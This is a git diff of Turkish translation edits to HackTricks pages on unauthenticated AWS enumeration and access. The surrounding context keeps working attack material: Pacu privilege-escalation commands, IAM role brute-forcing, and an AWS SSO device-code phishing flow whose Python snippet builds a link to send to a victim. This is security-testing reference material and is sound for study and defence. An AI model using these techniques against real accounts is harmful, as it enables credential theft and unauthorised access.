`/prod/GET/dashboard/admin` yoluna test aşamasında bir post isteğini doğrulayabilir. Her zaman neye erişim izni vermek istediğinizi net bir şekilde belirlemeli ve ardından verilen izinlerle başka senaryoların mümkün olup olmadığını kontrol etmelisiniz. @@ -36,7 +36,7 @@ Daha fazla bilgi için, [**docs**](https://docs.aws.amazon.com/apigateway/latest ### IAM Politika Enjeksiyonu -Aynı [**konuşmada**](https://www.youtube.com/watch?v=bsPKk7WDOnE), kodun **kullanıcı girişi** kullanarak **IAM politikalarını oluşturduğunun** ve burada **kısıtlamaları aşma** amacıyla joker karakterlerin (ve "." veya belirli dizeler gibi diğerlerinin) dahil edilebileceği gerçeği ortaya konmuştur. +Aynı [**konuşmada**](https://www.youtube.com/watch?v=bsPKk7WDOnE), eğer kod **kullanıcı girdisini** **IAM politikalarını oluşturmak için** kullanıyorsa, joker karakterler (ve "." veya belirli dizeler gibi diğerleri) **kısıtlamaları aşmak** amacıyla dahil edilebileceği gerçeği ortaya konmuştur. ### Kamu URL şablonu ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md index a9d3527eb..30616ee95 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md @@ -1,8 +1,8 @@ -# AWS - Cloudfront Yetkisiz Enum +# AWS - Cloudfront Kimlik Doğrulaması Olmadan Enum {{#include ../../../banners/hacktricks-training.md}} -### Kamuya Açık URL şablonu +### Genel URL şablonu ``` https://{random_id}.cloudfront.net ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index 130457435..cee4f0987 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -24,10 +24,10 @@ Her ne kadar herhangi bir **`buildspec.yml`** dosyası olmasa da, Codebuild'in k ## AWS CodeBuild'de Kendinize Ait GitHub Actions Koşucuları -[**Belgelerde belirtildiği gibi**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), **CodeBuild**'i, yapılandırılmış bir Github deposunda bir iş akışı tetiklendiğinde **kendinize ait Github eylemlerini** çalıştıracak şekilde yapılandırmak mümkündür. Bu, **`Olay türü`**'nün **`WORKFLOW_JOB_QUEUED`** içermesi gerektiğinden, CodeBuild proje yapılandırmasını kontrol ederek tespit edilebilir ve bir Github İş Akışında, bu şekilde bir **kendinize ait** koşucu seçecektir: +[**Belgelerde belirtildiği gibi**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), **CodeBuild**'i, yapılandırılmış bir Github deposunda bir iş akışı tetiklendiğinde **kendinize ait Github eylemlerini** çalıştıracak şekilde yapılandırmak mümkündür. Bu, **`Event type`**'in **`WORKFLOW_JOB_QUEUED`** içermesi gerektiğinden, CodeBuild proje yapılandırmasını kontrol ederek tespit edilebilir ve bir Github İş Akışı'nda, bu şekilde bir **kendinize ait** koşucu seçecektir: ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` -Bu yeni ilişki, Github Actions ve AWS arasında, Github'daki kodun bir IAM rolü eklenmiş bir CodeBuild projesinde çalışmasıyla AWS'yi Github üzerinden tehlikeye atmanın başka bir yolunu oluşturur. +Bu yeni ilişki, Github Actions ile AWS arasında, Github'daki kodun bir IAM rolü eklenmiş bir CodeBuild projesinde çalışması nedeniyle AWS'yi Github üzerinden tehlikeye atmanın başka bir yolunu oluşturur. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 3e2b2cb6d..8bb9c23c7 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## Yetkisiz Cognito -Cognito, geliştiricilerin **uygulama kullanıcılarına AWS hizmetlerine erişim vermesini** sağlayan bir AWS hizmetidir. Geliştiriciler, uygulamalarındaki **kimlik doğrulama yapılmış kullanıcılara IAM rolleri** vereceklerdir (potansiyel olarak insanlar sadece kaydolabilecekler) ve ayrıca **yetkisiz kullanıcılara IAM rolü** de verebilirler. +Cognito, geliştiricilerin **uygulama kullanıcılarına AWS hizmetlerine erişim vermesini** sağlayan bir AWS hizmetidir. Geliştiriciler, uygulamalarındaki **kimlik doğrulama yapılmış kullanıcılara IAM rolleri** vereceklerdir (potansiyel olarak insanlar sadece kaydolabilecek) ve ayrıca **yetkisiz kullanıcılara IAM rolü** de verebilirler. Cognito hakkında temel bilgi için kontrol edin: @@ -14,14 +14,14 @@ Cognito hakkında temel bilgi için kontrol edin: ### Kimlik Havuzu ID'si -Kimlik Havuzları, sadece **Kimlik Havuzu ID'sini** bilen **yetkisiz kullanıcılara IAM rolleri** verebilir (bu oldukça yaygın bir şekilde **bulunabilir**), ve bu bilgiye sahip bir saldırgan **o IAM rolüne erişmeye** çalışabilir ve bunu istismar edebilir.\ +Kimlik Havuzları, sadece **Kimlik Havuzu ID'sini** bilen **yetkisiz kullanıcılara IAM rolleri** verebilir (bu genellikle **bulunması kolaydır**), ve bu bilgiye sahip bir saldırgan, **o IAM rolüne erişmeye** ve bunu istismar etmeye çalışabilir.\ Ayrıca, IAM rolleri, Kimlik Havuzuna erişen **kimlik doğrulama yapılmış kullanıcılara** da atanabilir. Eğer bir saldırgan **bir kullanıcı kaydedebilirse** veya zaten kimlik havuzunda kullanılan **kimlik sağlayıcısına erişimi varsa**, **kimlik doğrulama yapılmış** kullanıcılara verilen **IAM rolüne** erişebilir ve ayrıcalıklarını kötüye kullanabilir. [**Bunu nasıl yapacağınızı buradan kontrol edin**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). ### Kullanıcı Havuzu ID'si -Varsayılan olarak Cognito, **yeni kullanıcı kaydetmeye** izin verir. Bir kullanıcı kaydedebilmek, size **temel uygulamaya** veya **Cognito Kullanıcı Havuzunu kimlik sağlayıcı olarak kabul eden bir Kimlik Havuzunun kimlik doğrulama yapılmış IAM erişim rolüne** **erişim** verebilir. [**Bunu nasıl yapacağınızı buradan kontrol edin**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). +Varsayılan olarak Cognito, **yeni kullanıcı kaydetmeye** izin verir. Bir kullanıcı kaydedebilmek, size **altındaki uygulamaya** veya Cognito Kullanıcı Havuzunu kimlik sağlayıcı olarak kabul eden bir Kimlik Havuzunun **kimlik doğrulama yapılmış IAM erişim rolüne** **erişim** verebilir. [**Bunu nasıl yapacağınızı buradan kontrol edin**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). ### Pentesting ve enum için Pacu modülleri @@ -31,13 +31,13 @@ Modüllerin işlevlerinin açıklaması için [blog yazısının](https://rhinos #### Kullanım -Belirli bir kimlik havuzu ve kullanıcı havuzu istemcisi için kullanıcı oluşturma ve tüm ayrıcalık yükseltme vektörlerini denemek için örnek `cognito__attack` kullanımı: +Belirli bir kimlik havuzu ve kullanıcı havuzu istemcisi karşısında kullanıcı oluşturma ve tüm ayrıcalık yükseltme vektörlerini denemek için örnek `cognito__attack` kullanımı: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -Cognito\_\_enum kullanımına örnek, mevcut AWS hesabında görünen tüm kullanıcı havuzlarını, kullanıcı havuzu istemcilerini, kimlik havuzlarını, kullanıcıları vb. toplamak için: +Örnek cognito\_\_enum kullanımı, mevcut AWS hesabında görünen tüm kullanıcı havuzlarını, kullanıcı havuzu istemcilerini, kimlik havuzlarını, kullanıcıları vb. toplamak için: ```bash Pacu (new:test) > run cognito__enum ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md index 5461f865c..4a26839de 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md @@ -1,4 +1,4 @@ -# AWS - DocumentDB Kimlik Doğrulamasız Enum +# AWS - DocumentDB Kimlik Doğrulaması Olmadan Enum {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index e6552bcf4..3e1f6afe3 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -1,4 +1,4 @@ -# AWS - DynamoDB Yetkisiz Erişim +# AWS - DynamoDB Kimlik Doğrulaması Olmadan Erişim {{#include ../../../banners/hacktricks-training.md}} @@ -10,6 +10,6 @@ Daha fazla bilgi için kontrol edin: ../aws-services/aws-dynamodb-enum.md {{#endref}} -DynamoDB ile iletişim kuran bir uygulamada tüm AWS'ye veya bazı ele geçirilmiş dış AWS hesaplarına erişim sağlamak ya da bazı SQL enjeksiyonları dışında, DynamoDB'den AWS hesaplarına erişim sağlamak için başka seçenekler bilmiyorum. +DynamoDB ile iletişim kuran bir uygulamada tüm AWS'ye veya bazı ele geçirilmiş dış AWS hesaplarına erişim sağlamak ya da SQL enjeksiyonları yapmak dışında, DynamoDB'den AWS hesaplarına erişim sağlamak için başka seçenekler bilmiyorum. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 5eb50b707..420b79a18 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -39,7 +39,7 @@ aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | sel ``` Eğer herkes tarafından geri yüklenebilir bir anlık görüntü bulursanız, anlık görüntüyü indirme ve yağmalama talimatları için [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) sayfasını kontrol ettiğinizden emin olun. -#### Kamuya Açık URL şablonu +#### Genel URL şablonu ```bash # EC2 ec2-{ip-seperated}.compute-1.amazonaws.com diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index a4b70eff3..5c4cae741 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin: ### Kamu kayıt defteri depoları (görüntüler) -ECS Enum bölümünde belirtildiği gibi, bir kamu kayıt defteri **herkes tarafından erişilebilir** ve **`public.ecr.aws//`** formatını kullanır. Bir saldırgan bir kamu deposu URL'sini bulursa, **görüntüyü indirebilir ve meta verilerde ve görüntünün içeriğinde hassas bilgileri arayabilir.** +ECS Enum bölümünde belirtildiği gibi, bir kamu kayıt defteri **herkes tarafından erişilebilir** ve **`public.ecr.aws//`** formatını kullanır. Bir saldırgan bir kamu deposu URL'sini bulursa, **görüntüyü indirebilir ve görüntünün meta verileri ve içeriğinde hassas bilgileri arayabilir**. ```bash aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index 148568a1b..48dc1355f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - ECS Kimlik Doğrulaması Olmadan Enum +# AWS - ECS Kimlik Doğrulamasız Enum {{#include ../../../banners/hacktricks-training.md}} @@ -10,7 +10,7 @@ Daha fazla bilgi için kontrol edin: ../aws-services/aws-ecs-enum.md {{#endref}} -### ECS Hizmetleri için Kamuya Açık Erişilebilir Güvenlik Grubu veya Yük Dengeleyici +### ECS Hizmetleri için Genel Erişilebilir Güvenlik Grubu veya Yük Dengeleyici **İnternetten gelen trafiğe (0.0.0.0/0 veya ::/0)** izin veren yanlış yapılandırılmış bir güvenlik grubu, AWS kaynaklarını saldırılara maruz bırakabilir. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index cf11271da..944e35f3e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -28,7 +28,7 @@ Eğer bir Elastic Beanstalk ortamı bir yük dengeleyici kullanıyorsa ve yük d Elastic Beanstalk uygulamaları genellikle dağıtım öncesinde S3 bucket'larında saklanır. Eğer uygulamayı içeren S3 bucket'ı halka açık erişilebilir durumdaysa, bir saldırgan **uygulama kodunu indirebilir ve zafiyetler veya hassas bilgiler arayabilir**. -### Halka Açık Ortamları Listele +### Halka Açık Ortamları Sayma ```bash aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md index 9c3eb3fbe..bb4d5ac41 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Elasticsearch Kimlik Doğrulaması Olmadan Enum +# AWS - Elasticsearch Kimlik Doğrulamasız Enum {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index 3de9cd642..4dcba7ece 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Bir hesapta Rolleri ve Kullanıcı Adlarını Enum Et +## Bir hesapta Rolleri ve Kullanıcı Adlarını Listele -### ~~Rolü Varsayılan Kaba Güç~~ +### ~~Rolü Varsayma Kaba Kuvvet~~ > [!CAUTION] > **Bu teknik artık çalışmıyor** çünkü rol var olsa da olmasa da her zaman bu hatayı alırsınız: @@ -15,7 +15,7 @@ > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Gerekli izinler olmadan **bir rolü varsayılamaya çalışmak**, bir AWS hata mesajı tetikler. Örneğin, yetkisizseniz, AWS şunları döndürebilir: +Gerekli izinler olmadan **bir rolü varsaymaya çalışmak**, bir AWS hata mesajı tetikler. Örneğin, yetkisizseniz, AWS şunları döndürebilir: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` @@ -29,7 +29,7 @@ Bu sorunu kötüye kullanarak potansiyel ilkeleri listelemek için bu [scripti k ### Güven Politikaları: Brute-Force Çapraz Hesap rolleri ve kullanıcıları -Bir **IAM rolünün güven politikasını yapılandırmak veya güncellemek, o rolü üstlenmesine izin verilen AWS kaynaklarını veya hizmetlerini tanımlamayı içerir** ve geçici kimlik bilgileri alır. Politika içindeki belirtilen kaynak **varsa**, güven politikası **başarıyla** kaydedilir. Ancak, kaynak **yoksa**, geçersiz bir ilke sağlandığını belirten bir **hata üretilir**. +Bir **IAM rolünün güven politikasını yapılandırmak veya güncellemek, hangi AWS kaynaklarının veya hizmetlerinin o rolü üstlenmesine izin verileceğini tanımlamayı içerir** ve geçici kimlik bilgileri alır. Politika içindeki belirtilen kaynak **varsa**, güven politikası **başarıyla** kaydedilir. Ancak, kaynak **yoksa**, geçersiz bir ilke sağlandığını belirten bir **hata üretilir**. > [!WARNING] > O kaynakta bir çapraz hesap rolü veya kullanıcı belirtebileceğinizi unutmayın: @@ -54,7 +54,7 @@ Bu bir politika örneğidir: ``` #### GUI -Bu, **var olmayan bir rol** kullanırsanız bulacağınız **hata**dır. Eğer rol **varsa**, politika **hatasız** bir şekilde **kaydedilecektir**. (Hata güncelleme içindir, ancak oluştururken de çalışır) +Eğer **var olmayan bir rol** kullanırsanız, bu **hata** ile karşılaşacaksınız. Eğer rol **varsa**, politika **hatasız** bir şekilde **kaydedilecektir**. (Hata güncelleme içindir, ancak oluşturma sırasında da çalışır) ![](<../../../images/image (153).png>) @@ -95,11 +95,11 @@ Bu süreci [https://github.com/carlospolop/aws_tools](https://github.com/carlosp - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` -[Pacu](https://github.com/RhinoSecurityLabs/pacu) kullanarak: +Pacu kullanarak [Pacu](https://github.com/RhinoSecurityLabs/pacu): - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- Örnekte kullanılan `admin` rolü, pacu tarafından **taklit edilmek üzere hesabınızdaki bir roldür** ve ihtiyaç duyduğu politikaları oluşturmak için gereklidir. +- Örnekte kullanılan `admin` rolü, pacu tarafından **taklit edilmek üzere hesabınızdaki bir roldür** ve gerekli politikaları oluşturmak için gereklidir. ### Privesc @@ -152,7 +152,7 @@ Bir diğer potansiyel yanlış yapılandırma, aşağıdaki gibi bir **koşul ek "token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` -Not edin ki **wildcard** (\*) **noktalama işareti** (:) öncesinde. **org_name1** gibi bir org oluşturabilir ve bir Github Action'dan **rolü üstlenebilirsiniz**. +Not edin ki **joker karakter** (\*) **noktalama işareti** (:) öncesindedir. **org_name1** gibi bir organizasyon oluşturabilir ve bir Github Action'dan **rolü üstlenebilirsiniz**. ## Referanslar diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index 7996aadf2..43dead253 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -1,15 +1,15 @@ -# AWS - Identity Center & SSO Unauthenticated Enum +# AWS - Kimlik Merkezi & SSO Yetkisiz Enum {{#include ../../../banners/hacktricks-training.md}} ## AWS Cihaz Kodu Phishing -Başlangıçta [**bu blog yazısında**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) önerilen, AWS SSO kullanarak bir **bağlantı** göndermek mümkündür; eğer **kullanıcı kabul ederse**, saldırgan **kullanıcıyı taklit etmek için bir token** alabilir ve kullanıcının **Identity Center**'da erişebileceği tüm rollere erişim sağlayabilir. +Başlangıçta [**bu blog yazısında**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) önerilen, AWS SSO kullanarak bir kullanıcıya **bağlantı** göndermek mümkündür; eğer **kullanıcı kabul ederse**, saldırgan **kullanıcıyı taklit etmek için bir token** alabilir ve kullanıcının **Kimlik Merkezi**'nde erişebileceği tüm rollere erişebilir. Bu saldırıyı gerçekleştirmek için gereksinimler şunlardır: -- Kurbanın **Identity Center** kullanması gerekir -- Saldırgan, kurbanın kullandığı **alt alan adını** bilmelidir `.awsapps.com/start` +- Kurbanın **Kimlik Merkezi**'ni kullanması gerekir +- Saldırgan, kurbanın kullandığı **alt alan adı**nı bilmelidir `.awsapps.com/start` Sadece önceki bilgilerle, **saldırgan kullanıcıya bir bağlantı gönderebilir**; eğer **kabul edilirse**, bu **saldırgana AWS kullanıcı** hesabına erişim sağlayacaktır. @@ -17,9 +17,9 @@ Sadece önceki bilgilerle, **saldırgan kullanıcıya bir bağlantı gönderebil 1. **Alt alan adını bulma** -Saldırganın ilk adımı, kurban şirketinin Identity Center'da kullandığı alt alan adını bulmaktır. Bu, **OSINT** veya **tahmin + BF** ile yapılabilir, çünkü çoğu şirket burada adını veya adının bir varyasyonunu kullanacaktır. +Saldırganın ilk adımı, kurban şirketinin Kimlik Merkezi'nde kullandığı alt alan adını bulmaktır. Bu, **OSINT** veya **tahmin + BF** ile yapılabilir, çünkü çoğu şirket burada adını veya adının bir varyasyonunu kullanacaktır. -Bu bilgiyle, Identity Center'ın yapılandırıldığı bölgeyi almak mümkündür: +Bu bilgiyle, Kimlik Merkezi'nin yapılandırıldığı bölgeyi almak mümkündür: ```bash curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' "region":"us-east-1 @@ -52,12 +52,12 @@ url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) ``` -Gönderilen bağlantıyı kurbanın sosyal mühendislik becerilerinizi kullanarak iletin! +Kurbanı harika sosyal mühendislik becerilerinizi kullanarak oluşturulan bağlantıyı gönderin! 3. **Kurbanın kabul etmesini bekleyin** Eğer kurban **zaten AWS'de oturum açmışsa**, sadece izinleri vermeyi kabul etmesi gerekecek; eğer oturum açmamışsa, **oturum açması ve ardından izinleri vermeyi kabul etmesi** gerekecek.\ -Bu, günümüzdeki istemin görünümüdür: +İşte günümüzdeki istemin görünümü:
@@ -104,7 +104,7 @@ sts_creds.get('roleCredentials') ``` ### Phishing the unphisable MFA -Önceki saldırının **"unphisable MFA" (webAuth) kullanılsa bile çalıştığını** bilmek eğlenceli. Bunun nedeni, önceki **iş akışının kullanılan OAuth alanını asla terk etmemesidir**. Kullanıcının giriş alanını değiştirmesi gereken diğer phishing saldırılarının aksine, cihaz kodu iş akışı, **bir cihaz tarafından bilinen bir kodun** hazırlandığı bir durumdur ve kullanıcı farklı bir makinede bile giriş yapabilir. İstemi kabul ederse, cihaz, sadece **ilk kodu bilerek**, kullanıcının **kimlik bilgilerini** **geri alabilecektir**. +Önceki saldırının **"unphisable MFA" (webAuth) kullanılsa bile çalıştığını** bilmek eğlenceli. Bunun nedeni, önceki **iş akışının kullanılan OAuth alanını asla terk etmemesidir**. Kullanıcının giriş alanını taklit etmesi gereken diğer phishing saldırılarının aksine, cihaz kodu iş akışı, **bir cihaz tarafından bilinen bir kodun** hazırlandığı bir durumdur ve kullanıcı farklı bir makinede bile giriş yapabilir. İstemciyi kabul ederse, cihaz, sadece **ilk kodu bilerek**, kullanıcının **kimlik bilgilerini** alabilecektir. Daha fazla bilgi için [**bu gönderiye göz atın**](https://mjg59.dreamwidth.org/62175.html). diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md index 1cd67bf3f..c0a04a762 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md @@ -1,8 +1,8 @@ -# AWS - Kinesis Video Unauthenticated Enum +# AWS - Kinesis Video Yetkisiz Enum {{#include ../../../banners/hacktricks-training.md}} -### Kamuya Açık URL şablonu +### Genel URL şablonu ``` https://{random_id}.kinesisvideo.{region}.amazonaws.com ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index abd9d4612..515e61a1f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -1,4 +1,4 @@ -# AWS - Lambda Kimlik Doğrulaması Olmadan Erişim +# AWS - Lambda Kimlik Doğrulamasız Erişim {{#include ../../../banners/hacktricks-training.md}} @@ -10,9 +10,9 @@ Herkesin erişebileceği bir **genel fonksiyon URL'si** ile bir **Lambda** iliş ``` https://{random_id}.lambda-url.{region}.on.aws/ ``` -### Hesap ID'sini kamu Lambda URL'sinden alın +### Kamu Lambda URL'sinden Hesap ID'sini Alın -S3 bucket'ları, Data Exchange ve API geçitleri gibi, kamu lambda URL'sinden **`aws:ResourceAccount`** **Policy Condition Key**'sini kötüye kullanarak bir hesabın hesap ID'sini bulmak mümkündür. Bu, politikanın **`aws:ResourceAccount`** bölümünde joker karakterleri kullanarak hesap ID'sini birer birer bulmakla yapılır.\ +S3 bucket'ları, Data Exchange ve API geçitlerinde olduğu gibi, kamuya açık bir lambda URL'sinden **`aws:ResourceAccount`** **Policy Condition Key**'sini kötüye kullanarak bir hesabın hesap ID'sini bulmak mümkündür. Bu, politikanın **`aws:ResourceAccount`** bölümünde joker karakterleri kullanarak hesap ID'sini birer birer bulmakla yapılır.\ Bu teknik, tag anahtarını biliyorsanız **tag değerlerini** de almanıza olanak tanır (bazı varsayılan ilginç olanlar vardır). Daha fazla bilgi için [**orijinal araştırmaya**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) ve bu istismarı otomatikleştirmek için [**conditional-love**](https://github.com/plerionhq/conditional-love/) aracına bakabilirsiniz. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md index 4a89cdaaa..bd3a1553e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md @@ -1,8 +1,8 @@ -# AWS - Media Unauthenticated Enum +# AWS - Medya Yetkisiz Enum {{#include ../../../banners/hacktricks-training.md}} -### Kamuya Açık URL şablonu +### Kamu URL şablonu ``` https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index 9542b9c27..24aebd501 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -6,7 +6,7 @@ ### **RabbitMQ** -**RabbitMQ** durumunda, **varsayılan olarak genel erişim** ve ssl etkinleştirilmiştir. Ancak erişim için **kimlik bilgilerine** ihtiyacınız var (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Ayrıca, kimlik bilgilerini biliyorsanız **web yönetim konsoluna erişmek** mümkündür `https://b-.mq.us-east-1.amazonaws.com/` +**RabbitMQ** durumunda, **varsayılan olarak genel erişim** ve ssl etkinleştirilmiştir. Ancak erişim için **kimlik bilgilerine** ihtiyacınız var (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Ayrıca, `https://b-.mq.us-east-1.amazonaws.com/` adresinde kimlik bilgilerini biliyorsanız **web yönetim konsoluna erişmek** mümkündür. ### ActiveMQ diff --git 